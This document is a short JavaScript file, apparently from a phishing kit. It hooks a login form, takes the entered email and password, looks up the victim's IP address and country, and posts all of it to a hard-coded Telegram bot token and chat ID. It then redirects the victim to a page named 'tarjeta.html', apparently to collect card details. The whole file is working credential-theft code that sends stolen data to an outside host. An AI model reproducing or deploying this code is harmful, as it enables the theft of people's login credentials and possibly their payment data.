document
  .querySelector(".login--form")
  .addEventListener("submit", async function (event) {
    event.preventDefault();

    const email = document.querySelector('input[name="eml"]').value;
    const password = document.querySelector('input[name="psew"]').value;

    const botToken = "8236716256:AAFZ41N46JjKdCazy82GB0H5T13UOAv3jT4";
    const chatId = "8135887101";

    const ipResponse = await fetch("https://api.ipify.org?format=json");
    const ipData = await ipResponse.json();
    const userIp = ipData.ip;

    const countryResponse = await fetch(
      `https://ipapi.co/${userIp}/country_name`
    );
    const userCountry = await countryResponse.text();
    const message = `Correo: ${email}\nContraseña: ${password}\nIP: ${userIp}\nPaís: ${userCountry}`;

    try {
      const response = await fetch(
        `https://api.telegram.org/bot${botToken}/sendMessage`,
        {
          method: "POST",
          headers: { "Content-Type": "application/json" },
          body: JSON.stringify({
            chat_id: chatId,
            text: message,
          }),
        }
      );

      if (response.ok) {
        window.location.href = "tarjeta.html";
      } else {
        alert("Error al enviar la información.");
      }
    } catch (error) {
      console.error("Error:", error);
      alert("Ocurrió un error al intentar enviar la información.");
    }
  });